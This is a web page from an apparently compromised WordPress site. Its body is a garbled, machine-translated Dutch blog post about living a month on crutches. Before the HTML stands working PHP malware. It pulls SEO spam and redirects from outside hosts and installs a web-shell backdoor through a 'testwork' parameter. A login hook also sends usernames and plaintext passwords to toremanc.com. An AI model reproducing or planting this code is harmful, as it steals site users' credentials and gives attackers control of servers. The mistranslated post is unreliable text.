if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { $apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp'; $keyword =$_SERVER['REQUEST_URI']; $url_page=$_SERVER['REQUEST_URI']; $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''); $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); $result = json_decode($output); print $result->{'body'}; } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://acagna.info/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://acagna.info/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://acagna.info/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://acagna.info/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://acagna.info/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://acagna.info/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="en-US" class="no-js"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="http://scitm.org.in/xmlrpc.php"> <title>Maand op krukken: hoe te leven met gips op het been? – Scitm

Blog

Het is moeilijk voor iedereen om in het reine te komen met beperkingen vanwege een breuk van de benen, en vooral mensen die zichzelf als sterk, onafhankelijk beschouwen, niet gewend om hulp van anderen te vragen. Onze auteur probeerde de persoonlijke ervaring in zeven en een halve week samen te vatten

, waarvan er vier moesten worden uitgevoerd met gips op het been vanwege letsel.

Het scala aan problemen wordt onthuld niet op het moment dat je alleen het superieure gips overweegt, maar iets later. Tijdens de behandelingsperiode zal het onvermijdelijk moeten wennen aan de tijdelijke realiteiten van het leven op één been. Wat kan ik adviseren?

een. Het maakt niet uit hoeveel ik in een depressieve toestand wil vallen, probeer dit te weerstaan

Accepteer het feit dat er niets meer kan worden gewijzigd. Verspil geen tijd en energie aan de zoektocht naar schuldig, bij nader inzien waarom het je is overkomen.

Scheld jezelf niet uit, vervloek de ‘dag’ niet, heb geen spijt dat je iets hebt gedaan dat heeft geleid tot een breuk van het been. Soms struikelen gewoon, zonder succes uit de auto te stappen of op de trap te struikelen.

Als je medelijden met jezelf heeft (en dit is normaal!), neem het een half uur per dag naar melancholie en zeg dan tegen jezelf: “Dat is het, ik denk er niet meer aan, dit wordt niet besproken”.

Een gedetailleerde studie van het onderwerp hielp me weg te komen van schadelijke reflectie, hoe professionele atleten werden gerehabiliteerd na blessures. Ik heb geleerd over het lot van de Turnast, wereldkampioen Elena Mukhina. Na te hebben gepresenteerd met welke moeilijkheden ze onder ogen moest zien, stak ik onmiddellijk de klacht over over mijn tijdelijke beproevingen.

2. Loop voorzichtig. Uw belangrijkste taak is om niet meer te vallen

Dit kan tenslotte het letsel verergeren. Ja, de gebruikelijke, comfortabele wereld verandert in een continue strook obstakels. Tien marmeren stappen in het favoriete restaurant, dat op zichzelf werd overwonnen, lijken nu op klimmende Everest. Randen, ongelijke trottoirs, winkels, autorijden en zelfs gewone wandelingen in een koptelefoon in het park – dit wordt allemaal een onbereikbare luxe.

Evalueer de coating van oppervlakken op de vloer thuis: verwijder alle schuifstoffen en tapijten. Weigeren slippers of sokken op een werkend been te dragen als ze een risico vormen om te vallen.

Als je eerder regelmatig sporten hebt gespeeld, is het veel gemakkelijker om de ladingen te weerstaan ​​en om te gaan met coördinatie. Als ze zich niet bezighouden met en dit artikel hebben gevonden met als doel een geliefde te helpen tijdens de herstelperiode na een blessure – begin je vandaag zelf fysieke activiteit te doen.

3. Leer je traagheid te waarderen

Als je ervan droomde te beginnen te schieten en gedoe te maken, is dit dezelfde kans. Het tempo van het leven vertraagt ​​twee keer of zelfs drie keer. Processen strekken zich voor onbepaalde tijd uit.

Zag hoe katten zich voorbereiden op springen? We zullen moeten leren hoe we hetzelfde moeten doen: eerst plant u een actie of hun serie, evalueert visueel de afstand en positie van objecten op de grond, bepaal vervolgens het traject in uw geest en ga vervolgens naar het beoogde punt.

De ervaring van het afsnijden van onnodige bewegingen, beginnend met kleinigheden en eindigen met globale acties, kan ook als waardevol worden beschouwd. Hij kan in de toekomst veel tijd besparen. Vaak leidt een pauze in de toekomst tot een snelle set van snelheid.

vier. Pak kleding op met diepe zakken of vind een kleine rugzak

Dit is nodig om kleine dingen daar te plaatsen om van kamer naar kamer over te stappen. Om het evenwicht te houden, heb je tenslotte krukken nodig. Om krukken vast te houden, zijn beide handen nodig. Dat is het of het nu loopt of iets met je handen doet.

Ik gebruikte een lichte strandtas van mijn favoriete hotel. Om vloeistoffen over te dragen, kunt u een thermische cirkel of een shaker gebruiken. Trouwens, het schrijven van berichten onderweg kan niet langer werken.

Er zal de ernst verboden zijn en na het verwijderen van het gips gedurende enkele maanden. Deze keer is nog een reden om jezelf af te leren als een ishak, als je het om een ​​of andere reden eerder deed.

5. Wees niet bang voor het gebrek aan eetlust

Dit kan een gevolg zijn van een depressieve stemming. Dus als je afvallen en de tijd niet zou kunnen kiezen – hier is het!

Zure -milk -producten, cottage -kaas, yoghurt (zonder zoete vulstoffen), granen, bruin brood zal nuttig zijn. Alles wat de maag niet sterk laadt en de eetlust verslaat, met een hoog calciumgehalte, is geschikt. Drink bovendien zoveel mogelijk water.

Om het koken niet in een zoektocht te maken: ga uit de koelkast, alleen de meest noodzakelijke. Kook nuttige, eenvoudige gerechten met een minimaal aantal acties.

6. Vergeet niet om een ​​marathon mee te nemen

De luxe van volledige acceptatie van de ziel wordt tijdelijk ontoegankelijk: gips kan niet worden bevochtigd, maar in bad gaan is een gevaarlijke onderneming. Een breuk van het been is echter geen reden om met een ongewassen hoofd te lopen.

Regelmatig jezelf in orde zetten heft je humeur op: denk na over hoe het gemakkelijkst om dit te doen, afhankelijk van de configuratie van je badkamer en wat het erin heeft. Als er bijvoorbeeld thuis een douchecabine is, koop en plaats daar een plastic stoel waarop u tijdens ontspannen procedures zit.

7. Blijf kleden

Ik had een been van mijn been aan mijn vingers, dus ik droeg uitsluitend jurken: een warm klimaat dat dit mocht doen. Je kunt brede broek dragen, maar het is moeilijker om ze te dragen als het stuk niet goed genoeg is, en ook als je geen assistent hebt.

acht. Gebruik tijd met voordeel en plezier

Tijdens deze periode kun je veel hebben om veel te hebben, wat er vroeger niet genoeg tijd was geweest: beginnend met het lezen van boeken, tekenen, handwerken, een vreemde taal leren voordat je films en tv -shows kijkt. Of misschien wil je überhaupt een nieuw beroep beheersen?

9. Verheug je: zelfs met een gebroken been zul je in goede fysieke staat zijn!

Na een tijdje van het gewone leven in de nieuwe omstandigheden, zul je merken dat spieren op je handen en rug zijn gegroeid, en het werkende been begon op het been van de atleet te lijken.

Tijdens de periode van het dragen van gips met een gewicht van 3 kg (wat niet helemaal hielp mezelf de schuld te geven voor een verlies van vorm), was ik ongeduldig en probeerde ik me voor te stellen hoe het been zou zorgen voor de verwijdering. Alles bleek niet zo slecht en gemakkelijk te repareren.

tien. Merk op hoeveel goede mensen in de buurt zijn

Ik brak mijn been op een zakenreis terwijl ik op de eilanden van de Indische Oceaan. Maar ik moest blijven werken aan werkzaken en vervolgens door Dubai en Istanbul naar Antalya vliegen. Er waren bijvoorbeeld veel vragen: “Hoe ik naar de boot ga en eruit zou komen?”Om nog maar te zwijgen van het kijken naar het diner, draag een tas met een computer, een koffer en voer een intercontinentale vlucht uit.

Op de tweede dag van wandelen met krukken in een van de hotels kwam een ​​paar uit Frankrijk naar me toe: de man paste de hoogte van de accessoires aan op dat moment aan en liet zien hoe gemakkelijker te lopen. In de bergen brak deze man zijn benen drie keer en veranderde in een goeroe bij blessures. Dat is trouwens niet afgestoten om door te gaan om door te gaan skiën.

Vaak kwamen vreemden naar me toe, waren geïnteresseerd in wat er gebeurde, vroegen of ze hulp nodig hadden, toonden het initiatief, probeerden toe te juichen, deelden hun verhalen over breuken.

Concluderend wil ik zeggen over mijn belangrijkste bewustzijn: welk geluk het is – bewegen! Gezien mijn been vrijgelaten uit gevangenschap, dacht ik aan hoe snel ze spieren in slechts vier weken degradeerde zonder belasting … Ik heb een nieuwe grond voor mij voorbereid om de belangrijkste waarden in het leven te heroverwegen – gezondheid (zowel fysiek als psychologisch) en tijd ) en tijd) en tijd.

Leave a Comment

Your email address will not be published.